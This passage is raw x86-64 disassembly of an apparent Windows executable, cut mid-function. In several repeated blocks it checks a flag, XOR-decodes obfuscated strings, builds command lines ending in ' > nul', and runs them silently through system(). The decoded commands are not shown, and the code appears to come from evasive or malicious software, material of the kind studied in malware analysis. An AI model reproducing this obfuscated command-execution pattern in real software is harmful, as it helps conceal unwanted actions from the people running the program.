lea rcx, [rbp + 0x24c0]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x24e0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x460a]
xor eax, eax
lea rcx, [rbp + 0x25]
mov byte [rbp + 0x25], al
call fcn.140070090
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004f9c5
mov r8d, r14d
cmp r15d, 2
jl 0x14004f98b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004f890
cmp r8d, 0x33
jge 0x14004f9c5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004f991
mov r8, rdi
lea rcx, [rbp + 0x2500]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x2520]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x2540]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2560]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2560]
call fcn.140077840
lea rcx, [rbp + 0x2540]
call fcn.140077840
lea rcx, [rbp + 0x2520]
call fcn.140077840
lea rcx, [rbp + 0x2500]
call fcn.140077840
lea rcx, [rbp + 0x24e0]
call fcn.140077840
lea rcx, [rbp + 0x24c0]
call fcn.140077840
mov edx, 4
lea rcx, [rbp + 0x2580]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x25a0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x463d]
xor eax, eax
lea rcx, [rbp + 0x26]
mov byte [rbp + 0x26], al
call fcn.1400700d0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004fc14
mov r8d, r14d
cmp r15d, 2
jl 0x14004fbcc
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004fad1
cmp r8d, 0x33
jge 0x14004fc14
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004fbe0
mov r8, rdi
lea rcx, [rbp + 0x25c0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x25e0]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x2600]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2620]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2620]
call fcn.140077840
lea rcx, [rbp + 0x2600]
call fcn.140077840
lea rcx, [rbp + 0x25e0]
call fcn.140077840
lea rcx, [rbp + 0x25c0]
call fcn.140077840
lea rcx, [rbp + 0x25a0]
call fcn.140077840
lea rcx, [rbp + 0x2580]
call fcn.140077840
mov byte [0x1404de287], 0
cmp byte [0x1404de282], 0
je 0x14005023a
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x2640]
call fcn.140042780
mov edx, 4
lea rcx, [rbp + 0x2660]
mov rbx, rax
call fcn.140042780
mov edx, 3
lea rcx, [rbp + 0x2680]
mov rdi, rax
call fcn.140042780
mov rsi, rax
lea rdx, [rbp + 0x40a0]
xor eax, eax
lea rcx, [rbp + 0x27]
mov byte [rbp + 0x27], al
call fcn.140070110
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14004fe85
mov r8d, r14d
cmp r15d, 2
jl 0x14004fe4b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004fd50
cmp r8d, 0x31
jge 0x14004fe85
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14004fe51
mov r8, rsi
lea rcx, [rbp + 0x26a0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x26c0]
call fcn.140078470
mov r8, rdi
lea rcx, [rbp + 0x26e0]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x2700]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x2720]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2740]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2740]
call fcn.140077840
lea rcx, [rbp + 0x2720]
call fcn.140077840
lea rcx, [rbp + 0x2700]
call fcn.140077840
lea rcx, [rbp + 0x26e0]
call fcn.140077840
lea rcx, [rbp + 0x26c0]
call fcn.140077840
lea rcx, [rbp + 0x26a0]
call fcn.140077840
lea rcx, [rbp + 0x2680]
call fcn.140077840
lea rcx, [rbp + 0x2660]
call fcn.140077840
lea rcx, [rbp + 0x2640]
call fcn.140077840
mov edx, reloc.WS2_32.dll_ntohl
lea rcx, [rbp + 0x2760]
call fcn.140042780
mov edx, 4
lea rcx, [rbp + 0x2780]
mov rbx, rax
call fcn.140042780
mov edx, 3
lea rcx, [rbp + 0x27a0]
mov rdi, rax
call fcn.140042780
mov rsi, rax
lea rdx, [rbp + 0x40d1]
xor eax, eax
lea rcx, [rbp + 0x28]
mov byte [rbp + 0x28], al
call fcn.140070140
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140050134
mov r8d, r14d
cmp r15d, 2
jl 0x1400500ec
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004fff1
cmp r8d, 0x31
jge 0x140050134
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140050100
mov r8, rsi
lea rcx, [rbp + 0x27c0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x27e0]
call fcn.140078470
mov r8, rdi
lea rcx, [rbp + 0x2800]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x2820]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x2840]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2860]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2860]
call fcn.140077840
lea rcx, [rbp + 0x2840]
call fcn.140077840
lea rcx, [rbp + 0x2820]
call fcn.140077840
lea rcx, [rbp + 0x2800]
call fcn.140077840
lea rcx, [rbp + 0x27e0]
call fcn.140077840
lea rcx, [rbp + 0x27c0]
call fcn.140077840
lea rcx, [rbp + 0x27a0]
call fcn.140077840
lea rcx, [rbp + 0x2780]
call fcn.140077840
lea rcx, [rbp + 0x2760]
call fcn.140077840
mov byte [0x1404de282], 0
movabs rsi, 0x61aa5c1777dc8d5d
cmp byte [0x1404de280], 0
je 0x1400506e4
mov edx, 9
lea rcx, [rbp + 0x2880]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x28a0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x43b0]
xor eax, eax
lea rcx, [rbp + 0x29]
mov byte [rbp + 0x29], al
call fcn.140070170
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400503e5
mov r8d, r14d
cmp r15d, 2
jl 0x1400503ab
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400502b0
cmp r8d, 0x32
jge 0x1400503e5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x1400503b1
mov r8, rdi
lea rcx, [rbp + 0x28c0]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x28e0]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x2900]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2920]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2920]
call fcn.140077840
lea rcx, [rbp + 0x2900]
call fcn.140077840
lea rcx, [rbp + 0x28e0]
call fcn.140077840
lea rcx, [rbp + 0x28c0]
call fcn.140077840
lea rcx, [rbp + 0x28a0]
call fcn.140077840
lea rcx, [rbp + 0x2880]
call fcn.140077840
mov edx, 9
lea rcx, [rbp + 0x2940]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x2960]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x43e2]
xor eax, eax
lea rcx, [rbp + 0x2a]
mov byte [rbp + 0x2a], al
call fcn.1400701a0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140050634
mov r8d, r14d
cmp r15d, 2
jl 0x1400505ec
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400504f1
cmp r8d, 0x32
jge 0x140050634
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140050600
mov r8, rdi
lea rcx, [rbp + 0x2980]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, [0x1401551cc]
lea rcx, [rbp + 0x29a0]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x29c0]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x29e0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x29e0]
call fcn.140077840
lea rcx, [rbp + 0x29c0]
call fcn.140077840
lea rcx, [rbp + 0x29a0]
call fcn.140077840
lea rcx, [rbp + 0x2980]
call fcn.140077840
lea rcx, [rbp + 0x2960]
call fcn.140077840
lea rcx, [rbp + 0x2940]
call fcn.140077840
mov byte [0x1404de280], 0
cmp byte [0x1404de23b], 0
je 0x140050b43
mov edx, 9
lea rcx, [rbp + 0x2a00]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x2a20]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x4670]
xor eax, eax
lea rcx, [rbp + 0x2b]
mov byte [rbp + 0x2b], al
call fcn.1400701d0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140050895
mov r8d, r14d
cmp r15d, 2
jl 0x14005085b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050760
cmp r8d, 0x33
jge 0x140050895
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140050861
mov r8, rdi
lea rcx, [rbp + 0x2a40]
mov rdx, r10
call fcn.140078410
mov r8, rbx
lea rcx, [rbp + 0x2a60]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2a80]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a80]
call fcn.140077840
lea rcx, [rbp + 0x2a60]
call fcn.140077840
lea rcx, [rbp + 0x2a40]
call fcn.140077840
lea rcx, [rbp + 0x2a20]
call fcn.140077840
lea rcx, [rbp + 0x2a00]
call fcn.140077840
mov edx, 9
lea rcx, [rbp + 0x2aa0]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x2ac0]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x46a3]
xor eax, eax
lea rcx, [rbp + 0x2c]
mov byte [rbp + 0x2c], al
call fcn.140070210
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140050ab5
mov r8d, r14d
cmp r15d, 2
jl 0x140050a7b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050980
cmp r8d, 0x33
jge 0x140050ab5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140050a81
mov r8, rdi
lea rcx, [rbp + 0x2ae0]
mov rdx, r10
call fcn.140078410
mov r8, rbx
lea rcx, [rbp + 0x2b00]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b20]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b20]
call fcn.140077840
lea rcx, [rbp + 0x2b00]
call fcn.140077840
lea rcx, [rbp + 0x2ae0]
call fcn.140077840
lea rcx, [rbp + 0x2ac0]
call fcn.140077840
lea rcx, [rbp + 0x2aa0]
call fcn.140077840
mov byte [0x1404de23b], 0
cmp byte [0x1404de285], 0
je 0x140050f28
mov edx, 8
lea rcx, [rbp + 0x2b40]
call fcn.140042780
mov rbx, rax
lea rdx, [rbp + 0x4978]
xor eax, eax
lea rcx, [rbp + 0x2d]
mov byte [rbp + 0x2d], al
call fcn.140070250
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x140050cd5
mov r8d, r14d
cmp r15d, 2
jl 0x140050c9b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140050ba0
cmp r8d, 0x36
jge 0x140050cd5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
